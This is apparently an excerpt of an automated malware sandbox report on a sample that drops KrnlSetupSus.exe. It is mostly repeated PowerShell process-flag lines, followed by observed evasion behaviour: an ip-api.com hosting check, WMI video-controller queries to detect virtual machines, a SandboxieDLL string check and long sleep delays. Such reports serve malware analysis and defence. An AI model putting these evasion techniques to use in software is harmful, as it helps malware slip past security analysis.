Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\ProgramData\KrnlSetupSus.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\ProgramData\KrnlSetupSus.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\ProgramData\KrnlSetupSus.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RdLfpZY5A9.exe, 00000000.00000002.1406303961.0000000012938000.00000004.00000800.00020000.00000000.sdmp, KrnlSetupSus.exe, 00000003.00000000.1404695399.0000000000BC2000.00000002.00000001.01000000.00000007.sdmp, KrnlSetupSus.exe, 00000003.00000002.2788044587.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, KrnlSetupSus.exe, 00000003.00000002.2814408565.0000000012DF2000.00000004.00000800.00020000.00000000.sdmp, ntoskrnl.exe.3.dr, KrnlSetupSus.exe.0.dr

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Memory allocated: 2730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Memory allocated: 1A930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Memory allocated: 1300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Memory allocated: 1ADE0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599448	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599338	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599233	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598465	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598248	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598115	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597999	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597777	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597452	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597229	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597014	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596345	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 595889	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594998	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594671	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594234	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594124	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594014	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 593906	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 593796	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 593687	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\ProgramData\KrnlSetupSus.exe	Window / User API: threadDelayed 7011	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Window / User API: threadDelayed 2794	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4048	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4222	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Window / User API: threadDelayed 376	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 7857	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 2142	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7178	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2500	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9831
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9859

Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_6-8067
Source: C:\ProgramData\Install.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_2-245
Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_6-9531
Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegQueryValue,DecisionNodes,ExitProcess	graph_6-8075

Source: C:\Windows\System32\dllhost.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_6-8011

Source: C:\Windows\System32\lsass.exe	API coverage: 6.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.3 %

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe TID: 7340	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -599448s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -599338s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -599233s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -599124s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -598465s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -598248s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -598115s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -597999s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -597890s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -597777s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -597562s >= -30000s	Jump to behavior
